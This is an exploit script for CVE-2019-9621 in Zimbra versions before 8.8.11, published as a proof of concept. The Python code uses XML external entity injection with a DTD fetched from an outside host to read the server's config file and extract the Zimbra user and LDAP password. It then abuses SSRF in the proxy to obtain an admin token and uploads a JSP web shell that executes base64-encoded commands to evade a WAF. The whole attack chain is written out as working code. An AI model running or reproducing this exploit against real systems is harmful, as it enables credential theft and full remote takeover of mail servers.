Zimbra < 8.8.11 - XML External Entity Injection / Server-Side Request Forgery

Related Vulnerabilities: CVE-2019-9621  
Publish Date: 05 Jun 2019
Author: k8gege
                							

                #coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'&lt;%@page import="java.io.*"%&gt;&lt;%@page import="sun.misc.BASE64Decoder"%&gt;&lt;%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("-&gt;|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|&lt;-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%&gt;'
print(base_url)
#dtd file url
dtd_url="https://k8gege.github.io/zimbra.dtd"
"""
&lt;!ENTITY % file SYSTEM "file:../conf/localconfig.xml"&gt;
&lt;!ENTITY % start "&lt;![CDATA["&gt;
&lt;!ENTITY % end "]]&gt;"&gt;
&lt;!ENTITY % all "&lt;!ENTITY fileContents '%start;%file;%end;'&gt;"&gt;
"""
xxe_data = r"""&lt;!DOCTYPE Autodiscover [
        &lt;!ENTITY % dtd SYSTEM "{dtd}"&gt;
        %dtd;
        %all;
        ]&gt;
&lt;Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"&gt;
    &lt;Request&gt;
        &lt;EMailAddress&gt;aaaaa&lt;/EMailAddress&gt;
        &lt;AcceptableResponseSchema&gt;&amp;fileContents;&lt;/AcceptableResponseSchema&gt;
    &lt;/Request&gt;
&lt;/Autodiscover&gt;""".format(dtd=dtd_url)

#XXE stage
headers = {
    "Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
    print("have no xxe")
    exit()

#low_token Stage
import re
pattern_name = re.compile(r"&lt;key name=(\"|")zimbra_user(\"|")&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
pattern_password = re.compile(r"&lt;key name=(\"|")zimbra_ldap_password(\"|")&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)

auth_body="""&lt;soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"&gt;
   &lt;soap:Header&gt;
       &lt;context xmlns="urn:zimbra"&gt;
           &lt;userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/&gt;
       &lt;/context&gt;
   &lt;/soap:Header&gt;
   &lt;soap:Body&gt;
     &lt;AuthRequest xmlns="{xmlns}"&gt;
        &lt;account by="adminName"&gt;{username}&lt;/account&gt;
        &lt;password&gt;{password}&lt;/password&gt;
     &lt;/AuthRequest&gt;
   &lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"&lt;authToken&gt;(.*?)&lt;/authToken&gt;")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin  Auth Token By SSRF")
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
    'filename1':(None,"whocare",None),
    'clientFile':(filename,fileContent,"text/plain"),
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print("Shell: "+base_url+"/downloads/"+filename)
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("May need cookie:")
print(headers['Cookie'])